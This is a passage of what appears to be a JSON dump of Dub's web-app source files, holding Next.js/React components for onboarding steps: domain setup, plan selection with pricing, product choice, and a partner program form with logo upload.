    "content": "import { StepPage } from \"../step-page\";\nimport { DefaultDomainSelector } from \"./default-domain-selector\";\n\nexport default function Domain() {\n  return (\n    <StepPage\n      title=\"Add a custom domain\"\n      description={\n        <>\n          Make your links stand out and{\" \"}\n          <a\n            href=\"https://dub.co/blog/custom-domains\"\n            target=\"_blank\"\n            className=\"cursor-help font-medium underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-700\"\n          >\n            boost click-through rates by 30%\n          </a>\n        </>\n      }\n      className=\"max-w-none\"\n    >\n      <DefaultDomainSelector />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/register/form.tsx",
    "content": "\"use client\";\n\nimport { RegisterDomainForm } from \"@/ui/domains/register-domain-form\";\nimport { LaterButton } from \"../../../later-button\";\nimport { useOnboardingProduct } from \"../../../use-onboarding-product\";\nimport { useOnboardingProgress } from \"../../../use-onboarding-progress\";\n\nexport function Form() {\n  const { continueTo } = useOnboardingProgress();\n  const product = useOnboardingProduct();\n\n  return (\n    <div>\n      <RegisterDomainForm\n        saveOnly\n        onSuccess={() => {\n          continueTo(product === \"partners\" ? \"program\" : \"plan\");\n        }}\n      />\n\n      {product !== \"partners\" && <LaterButton next=\"plan\" className=\"mt-4\" />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/register/page.tsx",
    "content": "\"use client\";\n\nimport { BoltFill } from \"@dub/ui\";\nimport { useOnboardingProduct } from \"../../../use-onboarding-product\";\nimport { StepPage } from \"../../step-page\";\nimport { Form } from \"./form\";\n\nexport default function Register() {\n  const product = useOnboardingProduct();\n\n  return (\n    <StepPage\n      title=\"Claim your free .link domain\"\n      paidPlanRequired={true}\n      badge={\n        product === \"partners\"\n          ? {\n              icon: BoltFill,\n              label: \"Instant setup\",\n            }\n          : undefined\n      }\n      description=\"Exclusively free for one year\"\n    >\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/layout.tsx",
    "content": "import { Grid, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { PropsWithChildren } from \"react\";\n\nexport default function Layout({ children }: PropsWithChildren) {\n  return (\n    <>\n      <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n        {/* Grid */}\n        <div\n          className={cn(\n            \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n            \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n          )}\n        >\n          <Grid\n            cellSize={60}\n            patternOffset={[0.75, 0]}\n            className=\"text-neutral-200\"\n          />\n        </div>\n\n        {/* Gradient */}\n        {[...Array(2)].map((_, idx) => (\n          <div\n            key={idx}\n            className={cn(\n              \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n              idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n            )}\n          >\n            {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n              <div\n                key={idx}\n                className={cn(\n                  \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                  \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                )}\n              />\n            ))}\n          </div>\n        ))}\n      </div>\n\n      <div className=\"relative flex min-h-[100dvh] min-h-screen w-full flex-col items-center justify-between\">\n        <div className=\"grow basis-0\">\n          <div className=\"pt-4\">\n            <Link href=\"https://dub.co/home\" target=\"_blank\" className=\"block\">\n              <Wordmark className=\"h-8\" />\n            </Link>\n          </div>\n        </div>\n\n        <div className=\"w-full py-16\">{children}</div>\n\n        {/* Empty div to center main content */}\n        <div className=\"grow basis-0\" />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/plan/enterprise-link.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { useSearchParams } from \"next/navigation\";\n\nexport function EnterpriseLink() {\n  const searchParams = useSearchParams();\n  const recommendedPlan = searchParams.get(\"plan\");\n\n  return (\n    <a\n      href=\"https://dub.co/enterprise\"\n      target=\"_blank\"\n      rel=\"noopener noreferrer\"\n      className={cn(\n        \"flex items-center text-neutral-500 underline-offset-4 transition-colors hover:text-neutral-800 hover:underline\",\n        recommendedPlan === \"enterprise\" &&\n          \"font-medium text-blue-600 hover:text-blue-800\",\n      )}\n    >\n      Looking for enterprise? ↗\n    </a>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/plan/free-plan-button.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { HTMLProps } from \"react\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nexport function FreePlanButton({\n  children,\n  className,\n  ...rest\n}: Omit<HTMLProps<HTMLButtonElement>, \"type\">) {\n  const { continueTo, isLoading, isSuccessful } = useOnboardingProgress();\n\n  return (\n    <button\n      type=\"button\"\n      onClick={() => continueTo(\"success\")}\n      className={cn(\n        \"inline-block text-neutral-500 transition-colors enabled:hover:text-neutral-700\",\n        className,\n      )}\n      disabled={isLoading || isSuccessful}\n      {...rest}\n    >\n      <span>{children}</span>\n      <div\n        className={cn(\n          \"pointer-events-none inline-block h-full transition-[width,opacity] duration-200\",\n          isLoading || isSuccessful ? \"w-4 opacity-100\" : \"w-0 opacity-0\",\n        )}\n      >\n        {(isLoading || isSuccessful) && (\n          <div className=\"ml-1 w-3\">\n            <LoadingSpinner className=\"size-3\" />\n          </div>\n        )}\n      </div>\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/plan/page.tsx",
    "content": "\"use client\";\n\nimport { DubProductIcon } from \"@dub/ui\";\nimport { capitalize } from \"@dub/utils\";\nimport { LaterButton } from \"../../later-button\";\nimport { useOnboardingProduct } from \"../../use-onboarding-product\";\nimport { StepPage } from \"../step-page\";\nimport { EnterpriseLink } from \"./enterprise-link\";\nimport { FreePlanButton } from \"./free-plan-button\";\nimport { PlanSelector } from \"./plan-selector\";\n\nexport default function Plan() {\n  const product = useOnboardingProduct();\n\n  return (\n    <StepPage\n      title={\n        <>\n          Choose your{\" \"}\n          <a\n            href={`https://dub.co/${product}`}\n            target=\"_blank\"\n            className=\"group inline-block\"\n          >\n            <DubProductIcon\n              product={product}\n              className=\"mb-[3px] ml-1 inline-flex size-5 align-middle transition-transform group-hover:-rotate-12\"\n              iconClassName=\"size-3\"\n            />{\" \"}\n            Dub {capitalize(product)}\n          </a>{\" \"}\n          plan\n        </>\n      }\n      description={\n        product === \"partners\" ? (\n          <span className=\"inline-block\">\n            Find a plan that fits your needs.\n          </span>\n        ) : (\n          <>\n            <span className=\"inline-block\">\n              Find a plan that fits your needs, or\n            </span>{\" \"}\n            <FreePlanButton className=\"text-base underline decoration-dotted underline-offset-2\">\n              start on the free plan.\n            </FreePlanButton>\n          </>\n        )\n      }\n      className=\"max-w-screen-lg\"\n    >\n      <PlanSelector key={product} product={product} />\n      <div className=\"mx-auto mt-8 flex w-fit flex-col items-center justify-center gap-6 text-sm md:flex-row\">\n        <EnterpriseLink />\n        {product === \"links\" && (\n          <LaterButton\n            next=\"success\"\n            className=\"underline-offset-4 hover:underline\"\n          >\n            Start for free, pick a plan later\n          </LaterButton>\n        )}\n        <a\n          href={`https://dub.co/pricing/${product}`}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"flex items-center text-neutral-500 underline-offset-4 transition-colors hover:text-neutral-800 hover:underline\"\n        >\n          Compare all plans ↗\n        </a>\n      </div>\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/plan/plan-selector.tsx",
    "content": "\"use client\";\n\nimport X from \"@/ui/shared/icons/x\";\nimport { UpgradePlanButton } from \"@/ui/workspaces/upgrade-plan-button\";\nimport {\n  Badge,\n  Button,\n  CalendarRefresh,\n  Check,\n  DubProductIcon,\n  PLAN_FEATURE_ICONS,\n  Switch,\n  Tooltip,\n} from \"@dub/ui\";\nimport {\n  ADVANCED_PLAN,\n  BUSINESS_PLAN,\n  cn,\n  ENTERPRISE_PLAN,\n  PRICING_PLAN_MAIN_FEATURES,\n  PRICING_PLAN_TAGLINES,\n  PRO_PLAN,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { ChevronLeft, ChevronRight } from \"lucide-react\";\nimport { CSSProperties, isValidElement, ReactNode, useState } from \"react\";\nimport { OnboardingProduct } from \"../../use-onboarding-product\";\n\nexport function PlanSelector({ product }: { product: OnboardingProduct }) {\n  const plans =\n    product === \"partners\"\n      ? [BUSINESS_PLAN, ADVANCED_PLAN, ENTERPRISE_PLAN]\n      : [PRO_PLAN, BUSINESS_PLAN, ADVANCED_PLAN];\n\n  const [period, setPeriod] = useState<\"monthly\" | \"yearly\">(\"monthly\");\n  const [mobilePlanIndex, setMobilePlanIndex] = useState(0);\n\n  return (\n    <div className=\"overflow-hidden [container-type:inline-size]\">\n      <div\n        className={cn(\n          \"mx-auto grid max-w-[calc(var(--cols)*342px)] grid-cols-[repeat(var(--cols),1fr)]\",\n\n          // Mobile\n          \"max-lg:w-[calc(var(--cols)*100cqw+(var(--cols)-1)*32px)] max-lg:max-w-none max-lg:translate-x-[calc(-1*var(--index)*(100cqw+32px))] max-lg:gap-x-8 max-lg:transition-transform\",\n        )}\n        style={\n          {\n            \"--cols\": plans.length,\n            \"--index\": mobilePlanIndex,\n          } as CSSProperties\n        }\n      >\n        {plans.map((plan) => {\n          const features = PRICING_PLAN_MAIN_FEATURES[product][plan.name] || [];\n\n          return (\n            <div\n              key={plan.name}\n              className={cn(\n                \"flex flex-col border-y border-l border-neutral-200 bg-white first:rounded-l-lg last:rounded-r-lg last:border-r\",\n                product === \"links\" &&\n                  plan.name === \"Business\" &&\n                  \"bg-gradient-to-b from-orange-50 to-40%\",\n                product === \"partners\" &&\n                  plan.name === \"Advanced\" &&\n                  \"bg-gradient-to-b from-violet-50 to-40%\",\n              )}\n            >\n              <div className=\"flex grow flex-col gap-6 p-5 pb-3\">\n                <div>\n                  <div className=\"flex items-center gap-2\">\n                    <h2 className=\"text-xl font-semibold text-neutral-800\">\n                      {plan.name}\n                    </h2>\n                    {product === \"links\" && plan.name === \"Business\" && (\n                      <div className=\"w-fit whitespace-nowrap rounded-full bg-orange-900 px-2 py-1.5 text-center text-[0.5rem] font-medium uppercase leading-none text-white\">\n                        Popular\n                      </div>\n                    )}\n                    {product === \"partners\" && plan.name === \"Advanced\" && (\n                      <div className=\"w-fit whitespace-nowrap rounded-full bg-violet-900 px-2 py-1.5 text-center text-[0.5rem] font-medium uppercase leading-none text-white\">\n                        Best Value\n                      </div>\n                    )}\n                  </div>\n                  <div className=\"mt-1\">\n                    {plan.name === \"Enterprise\" ? (\n                      <span className=\"block text-base text-neutral-700\">\n                        Custom\n                      </span>\n                    ) : (\n                      <>\n                        <NumberFlow\n                          value={plan.price[period]!}\n                          className=\"text-base tabular-nums text-neutral-700\"\n                          format={{\n                            style: \"currency\",\n                            currency: \"USD\",\n                            minimumFractionDigits: 0,\n                          }}\n                          continuous\n                        />\n                        <span className=\"text-sm text-neutral-400\">\n                          {\" \"}\n                          per month\n                        </span>\n                      </>\n                    )}\n                  </div>\n\n                  {plan.name === \"Enterprise\" ? (\n                    <div className=\"mt-4 flex items-center gap-1.5 text-neutral-400\">\n                      <CalendarRefresh className=\"size-4 shrink-0\" />\n                      <span className=\"text-sm font-medium\">\n                        Tailored pricing terms\n                      </span>\n                    </div>\n                  ) : (\n                    <label className=\"mt-4 flex items-center gap-1.5\">\n                      <Switch\n                        checked={period === \"yearly\"}\n                        fn={(checked) =>\n                          setPeriod(checked ? \"yearly\" : \"monthly\")\n                        }\n                        trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                        thumbDimensions=\"size-3\"\n                        thumbTranslate=\"translate-x-3\"\n                      />\n                      <div className=\"flex items-center gap-1 text-sm font-medium text-neutral-600\">\n                        <span>Billed yearly</span>\n                        <Badge\n                          variant=\"outline\"\n                          size=\"sm\"\n                          className={cn(\n                            \"animate-in fade-in-0 slide-in-from-right-2 duration-150\",\n                            period === \"monthly\" && \"-translate-x-2 opacity-0\",\n                          )}\n                        >\n                          Save 17%\n                        </Badge>\n                      </div>\n                    </label>\n                  )}\n                </div>\n\n                <p className=\"min-h-10 text-sm text-neutral-600\">\n                  {PRICING_PLAN_TAGLINES[product][plan.name]}\n                </p>\n\n                <div className=\"flex gap-2\">\n                  <button\n                    type=\"button\"\n                    className=\"h-full w-fit rounded-lg bg-neutral-100 px-2.5 transition-colors duration-75 hover:bg-neutral-200/80 enabled:active:bg-neutral-200 disabled:opacity-30 lg:hidden\"\n                    disabled={mobilePlanIndex === 0}\n                    onClick={() => setMobilePlanIndex(mobilePlanIndex - 1)}\n                  >\n                    <ChevronLeft className=\"size-5 text-neutral-800\" />\n                  </button>\n                  {plan.name === \"Enterprise\" ? (\n                    <a\n                      href=\"https://dub.co/contact/sales\"\n                      target=\"_blank\"\n                      className=\"w-full\"\n                    >\n                      <Button\n                        text=\"Contact us\"\n                        className=\"h-10 rounded-lg shadow-sm\"\n                      />\n                    </a>\n                  ) : (\n                    <UpgradePlanButton\n                      plan={plan.name.toLowerCase()}\n                      period={period}\n                      text=\"Get started\"\n                      className=\"h-10 rounded-lg shadow-sm\"\n                    />\n                  )}\n                  <button\n                    type=\"button\"\n                    className=\"h-full w-fit rounded-lg bg-neutral-100 px-2.5 transition-colors duration-75 hover:bg-neutral-200/80 active:bg-neutral-200 disabled:opacity-30 lg:hidden\"\n                    disabled={mobilePlanIndex >= plans.length - 1}\n                    onClick={() => setMobilePlanIndex(mobilePlanIndex + 1)}\n                  >\n                    <ChevronRight className=\"size-5 text-neutral-800\" />\n                  </button>\n                </div>\n                <div className=\"flex flex-col gap-3 text-sm\">\n                  {features.map(({ title, subtitle, features }, idx) => (\n                    <div key={idx} className=\"relative flex flex-col\">\n                      {title && (\n                        <h4 className=\"mb-3 font-medium text-neutral-700\">\n                          {title}\n                        </h4>\n                      )}\n                      {subtitle && (\n                        <p className=\"mb-2.5 text-neutral-500\">{subtitle}</p>\n                      )}\n                      <ul className=\"flex flex-col gap-2.5 pb-3\">\n                        {features.map(\n                          ({ id, text, tooltip, disabled }, idx) => {\n                            const Icon =\n                              id && PLAN_FEATURE_ICONS[id]\n                                ? PLAN_FEATURE_ICONS[id]\n                                : Check;\n\n                            return (\n                              <li\n                                key={idx}\n                                className={cn(\n                                  \"flex items-center gap-2 text-neutral-600\",\n                                  disabled && \"opacity-40\",\n                                )}\n                              >\n                                {disabled ? (\n                                  <X className=\"size-3 shrink-0\" />\n                                ) : Icon ? (\n                                  <Icon className=\"size-4 shrink-0\" />\n                                ) : (\n                                  <Check className=\"size-3 shrink-0\" />\n                                )}\n                                {tooltip ? (\n                                  <Tooltip\n                                    content={\n                                      typeof tooltip === \"string\" ||\n                                      isReactNode(tooltip)\n                                        ? tooltip\n                                        : `${tooltip.title}${tooltip.cta && tooltip.href ? ` [${tooltip.cta}](${tooltip.href})` : \"\"}`\n                                    }\n                                  >\n                                    <p className=\"cursor-help underline decoration-dotted underline-offset-2\">\n                                      {text}\n                                    </p>\n                                  </Tooltip>\n                                ) : (\n                                  <p>{text}</p>\n                                )}\n                              </li>\n                            );\n                          },\n                        )}\n                      </ul>\n                    </div>\n                  ))}\n                </div>\n              </div>\n\n              {Boolean(\n                (product === \"links\" && plan.limits.payouts) ||\n                  product === \"partners\",\n              ) && (\n                <div className=\"flex grow flex-col justify-end\">\n                  <div className=\"relative z-0 bg-neutral-100\">\n                    <div className=\"border-border-subtle pointer-events-none relative z-10 -mx-px h-2.5 rounded-b-[0.625rem] border-x border-b bg-white\" />\n                    <a\n                      href={`https://dub.co/${product === \"links\" ? \"partners\" : \"links\"}`}\n                      target=\"_blank\"\n                      rel=\"noopener noreferrer\"\n                      className=\"group peer relative z-10 flex items-center justify-center px-5 py-2.5 transition-transform duration-100 active:scale-[0.97]\"\n                    >\n                      <div className=\"relative flex items-center gap-2 transition-[transform,opacity] group-hover:-translate-y-1 group-hover:opacity-0\">\n                        <DubProductIcon\n                          product={product === \"links\" ? \"partners\" : \"links\"}\n                          className=\"size-[1.125rem]\"\n                        />\n                        <span className=\"text-content-default block text-sm\">\n                          Includes{\" \"}\n                          <strong className=\"font-semibold\">\n                            Dub {product === \"links\" ? \"Partners\" : \"Links\"}\n                          </strong>\n                        </span>\n                      </div>\n\n                      <div className=\"absolute inset-0 flex translate-y-1 items-center justify-center opacity-0 transition-[transform,opacity] group-hover:translate-y-0 group-hover:opacity-100\">\n                        <span className=\"text-content-default block whitespace-nowrap text-sm font-medium\">\n                          Learn more ↗\n                        </span>\n                      </div>\n                    </a>\n                    <div\n                      className={cn(\n                        \"pointer-events-none absolute inset-0 opacity-0 duration-100 peer-hover:opacity-5\",\n                        product === \"links\" ? \"bg-violet-700\" : \"bg-orange-700\",\n                      )}\n                    />\n                  </div>\n                </div>\n              )}\n            </div>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n\nconst isReactNode = (element: any): element is ReactNode =>\n  isValidElement(element);\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/products/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { ProductSelector } from \"./product-selector\";\n\nexport default function Products() {\n  return (\n    <StepPage\n      title=\"What do you want to do with Dub?\"\n      description=\"Choose how you'll use Dub to grow your business\"\n      className=\"max-w-none\"\n    >\n      <ProductSelector />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/products/product-selector.tsx",
    "content": "\"use client\";\n\nimport { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport { Button, Crown, DubProductIcon } from \"@dub/ui\";\nimport Image from \"next/image\";\nimport { ReactNode } from \"react\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nconst products = {\n  links: {\n    image: \"https://assets.dub.co/icons/link.webp\",\n    title: \"Dub Links\",\n    href: \"https://dub.co/links\",\n    description:\n      \"[Short links](https://dub.co/help/category/link-management), [QR codes](https://dub.co/help/article/custom-qr-codes), [real-time analytics](https://dub.co/help/article/dub-analytics), and [conversion tracking](https://dub.co/docs/conversions/quickstart).\",\n    paidPlanRequired: false,\n  },\n  partners: {\n    image: \"https://assets.dub.co/icons/trophy.webp\",\n    title: \"Dub Partners\",\n    href: \"https://dub.co/partners\",\n    description:\n      \"Modern [affiliate programs](https://dub.co/partners) with [global payouts](https://dub.co/help/article/partner-payouts) and [accurate attribution](https://dub.co/help/article/program-analytics).\",\n    paidPlanRequired: true,\n  },\n};\n\nexport function ProductSelector() {\n  return (\n    <div className=\"animate-fade-in mx-auto grid w-full max-w-[312px] gap-4 sm:max-w-[600px] sm:grid-cols-2\">\n      {Object.entries(products).map(([key, product]) => (\n        <ProductOption\n          key={key}\n          product={key as \"links\" | \"partners\"}\n          icon={product.image}\n          title={\n            <a\n              href={product.href}\n              target=\"_blank\"\n              className=\"group flex items-center justify-center gap-2\"\n            >\n              <DubProductIcon\n                product={key as \"links\" | \"partners\"}\n                className=\"transition-transform group-hover:-rotate-12 group-hover:scale-110\"\n              />{\" \"}\n              {product.title}\n            </a>\n          }\n          description={product.description}\n          cta={`Continue with ${product.title}`}\n          paidPlanRequired={product.paidPlanRequired}\n        />\n      ))}\n    </div>\n  );\n}\n\nfunction ProductOption({\n  product,\n  icon,\n  title,\n  description,\n  cta,\n  paidPlanRequired,\n}: {\n  product: \"links\" | \"partners\";\n  icon: string;\n  title: ReactNode;\n  description: string;\n  cta: string;\n  paidPlanRequired?: boolean;\n}) {\n  const { continueTo, isLoading, isSuccessful } = useOnboardingProgress();\n  return (\n    <div className=\"relative flex h-full flex-col items-center gap-6 rounded-xl border border-neutral-300 p-6 pt-12 transition-all\">\n      {paidPlanRequired && (\n        <div className=\"absolute inset-x-2 top-2 flex items-center justify-center gap-2 rounded-md border border-neutral-200 bg-neutral-100 px-2.5 py-1 text-xs font-medium text-neutral-600\">\n          <Crown className=\"size-3\" />\n          Paid plan required\n        </div>\n      )}\n      <div className=\"relative size-36\">\n        <Image\n          src={icon}\n          alt=\"\"\n          fill\n          className=\"object-contain\"\n          fetchPriority=\"high\"\n        />\n      </div>\n      <div className=\"space-y-2 text-center\">\n        <span className=\"text-base font-semibold text-neutral-900\">\n          {title}\n        </span>\n        <MarkdownDescription className=\"text-sm text-neutral-500\">\n          {description}\n        </MarkdownDescription>\n      </div>\n      <div className=\"flex w-full grow flex-col justify-end gap-2\">\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          className=\"rounded-lg\"\n          onClick={() => continueTo(\"domain\", { params: { product } })}\n          loading={isLoading || isSuccessful}\n          text={cta}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { Button, FileUpload, Input, useMediaQuery } from \"@dub/ui\";\nimport { Plus } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nexport function Form() {\n  const { isMobile } = useMediaQuery();\n  const [isUploading, setIsUploading] = useState(false);\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const { id: workspaceId, mutate } = useWorkspace();\n\n  const { continueTo } = useOnboardingProgress();\n\n  const {\n    register,\n    handleSubmit,\n    control,\n    setValue,\n    formState: { isSubmitting, errors },\n  } = useFormContext<ProgramData>();\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      continueTo(\"program/reward\");\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError as string);\n      setHasSubmitted(false);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) return;\n\n    setHasSubmitted(true);\n    await executeAsync({\n      ...data,\n      workspaceId,\n      step: \"get-started\",\n    });\n  };\n\n  // Handle logo upload\n  const handleUpload = async (file: File) => {\n    setIsUploading(true);\n\n    try {\n      const response = await fetch(\n        `/api/workspaces/${workspaceId}/upload-url`,\n        {\n          method: \"POST\",\n          body: JSON.stringify({\n            folder: \"program-logos\",\n          }),\n        },\n      );\n\n      if (!response.ok) {\n        throw new Error(\"Failed to get signed URL for upload.\");\n      }\n\n      const { signedUrl, destinationUrl } = await response.json();\n\n      const uploadResponse = await fetch(signedUrl, {\n        method: \"PUT\",\n        body: file,\n        headers: {\n          \"Content-Type\": file.type,\n          \"Content-Length\": file.size.toString(),\n        },\n      });\n\n      if (!uploadResponse.ok) {\n        throw new Error(\"Failed to upload to signed URL\");\n      }\n\n      setValue(\"logo\", destinationUrl, { shouldDirty: true });\n      toast.success(`${file.name} uploaded!`);\n    } catch (e) {\n      toast.error(\"Failed to upload logo\");\n    } finally {\n      setIsUploading(false);\n    }\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex flex-col gap-6\">\n      <label className=\"space-y-2\">\n        <span className=\"text-content-emphasis block text-sm font-semibold\">\n          Company name\n        </span>\n\n        <Input\n          {...register(\"name\", { required: true })}\n          placeholder=\"Acme, Inc.\"\n          autoFocus={!isMobile}\n          className=\"max-w-full\"\n          error={errors.name?.message}\n        />\n\n        <p className=\"text-content-subtle text-xs\">\n          This will used as your program's public name\n        </p>\n      </label>\n\n      <label className=\"space-y-2\">\n        <span className=\"text-content-emphasis block text-sm font-semibold\">\n          Logo\n        </span>\n\n        <div className=\"flex w-full items-center justify-center gap-2 rounded-lg border border-neutral-200 p-1\">\n          <Controller\n            control={control}\n            name=\"logo\"\n            rules={{ required: true }}\n            render={({ field }) => (\n              <FileUpload\n                accept=\"images\"\n                className=\"size-14 rounded-lg\"\n                iconClassName=\"size-4 text-neutral-800\"\n                icon={Plus}\n                variant=\"plain\"\n                loading={isUploading}\n                imageSrc={field.value}\n                readFile\n                onChange={({ file }) => handleUpload(file)}\n                content={null}\n                maxFileSizeMB={2}\n              />\n            )}\n          />\n        </div>\n\n        <p className=\"text-content-subtle text-xs\">\n          Recommended size: 160&times;160px\n        </p>\n      </label>\n\n      <label className=\"space-y-2\">\n        <span className=\"text-content-emphasis block text-sm font-semibold\">\n          Destination URL\n        </span>\n\n        <Controller\n          control={control}\n          name=\"url\"\n          render={({ field }) => (\n            <Input\n              value={field.value || \"\"}\n              onChange={(e) => field.onChange(e.target.value)}\n              type=\"url\"\n              placeholder=\"https://\"\n              className=\"max-w-full\"\n              error={errors.url?.message}\n            />\n          )}\n        />\n\n        <p className=\"text-content-subtle text-xs\">\n          Where customers will be redirected to when they click on your\n          partners' referral links\n        </p>\n      </label>\n\n      <label className=\"space-y-2\">\n        <span className=\"text-content-emphasis block text-sm font-semibold\">\n          Support email\n        </span>\n\n        <Controller\n          control={control}\n          name=\"supportEmail\"\n          render={({ field }) => (\n            <Input\n              value={field.value || \"\"}\n              onChange={(e) => field.onChange(e.target.value)}\n              type=\"email\"\n              className=\"max-w-full\"\n              error={errors.supportEmail?.message}\n            />\n          )}\n        />\n\n        <p className=\"text-content-subtle text-xs\">\n          Displayed to your partners on their dashboard\n        </p>\n      </label>\n\n      <Button\n        type=\"submit\"\n        loading={isSubmitting || isPending || hasSubmitted}\n        text=\"Continue\"\n        className=\"w-full\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/page-client.tsx",
    "content": "\"use client\";\n\nimport { ProgramOnboardingFormWrapper } from \"@/ui/partners/program-onboarding-form-wrapper\";\nimport { cn } from \"@dub/utils/src\";\nimport { StepPage } from \"../step-page\";\nimport { Form } from \"./form\";\nimport { useOnboardingProgram } from \"./use-onboarding-program\";\n\nexport function ProgramPageClient({ domain }: { domain: string }) {\n  const { isLoading, formWrapperProps } = useOnboardingProgram({ domain });\n\n  return (\n    <StepPage\n      title=\"Create your partner program\"\n      description=\"Set up your program in a few steps\"\n    >\n      <div\n        className={cn(\n          \"transition-opacity\",\n          isLoading && \"pointer-events-none opacity-50\",\n        )}\n        inert={isLoading}\n      >\n        <ProgramOnboardingFormWrapper\n          key={isLoading ? \"loading\" : \"loaded\"}\n          {...formWrapperProps}\n        >\n          <Form />\n        </ProgramOnboardingFormWrapper>\n      </div>\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { redirect } from \"next/navigation\";\nimport { ProgramPageClient } from \"./page-client\";\n\nexport default async function ProgramPage({\n  searchParams,\n}: {\n  searchParams: Promise<{ workspace?: string }>;\n}) {\n  const { workspace: slug } = await searchParams;\n\n  if (!slug) redirect(\"/onboarding\");\n\n  const { user } = await getSession();\n\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      slug,\n      users: {\n        some: {\n          userId: user.id,\n        },\n      },\n    },\n    select: {\n      id: true,\n      domains: {\n        orderBy: {\n          createdAt: \"desc\",\n        },\n        take: 1,\n      },\n    },\n  });\n\n  const data = await redis.get<{ domain: string; userId: string }>(\n    `onboarding-domain:${workspace.id}`,\n  );\n\n  const onboardingDomain =\n    data && data.domain && data.userId === user.id ? data.domain : null;\n\n  const domain = onboardingDomain || workspace.domains[0]?.slug;\n\n  if (!domain)\n    redirect(`/onboarding/domain?workspace=${slug}&product=partners`);\n\n  return <ProgramPageClient domain={domain} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/reward/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { RECURRING_MAX_DURATIONS } from \"@/lib/zod/schemas/misc\";\nimport { COMMISSION_TYPES } from \"@/lib/zod/schemas/rewards\";\nimport { AnimatedSizeContainer, Button, CircleCheckFill } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useOnboardingProgress } from \"../../../use-onboarding-progress\";\n\nconst DEFAULT_REWARD_TYPES = [\n  {\n    key: \"sale\",\n    label: \"Sale\",\n    description: \"Paid revenue\",\n    mostCommon: true,\n  },\n  {\n    key: \"lead\",\n    label: \"Lead\",\n    description: \"Sign ups and demos\",\n    mostCommon: false,\n  },\n] as const;\n\nconst PAYOUT_MODELS = [\n  {\n    key: \"percentage\",\n    label: \"Percentage\",\n    description: \"Revenue based\",\n    mostCommon: true,\n  },\n  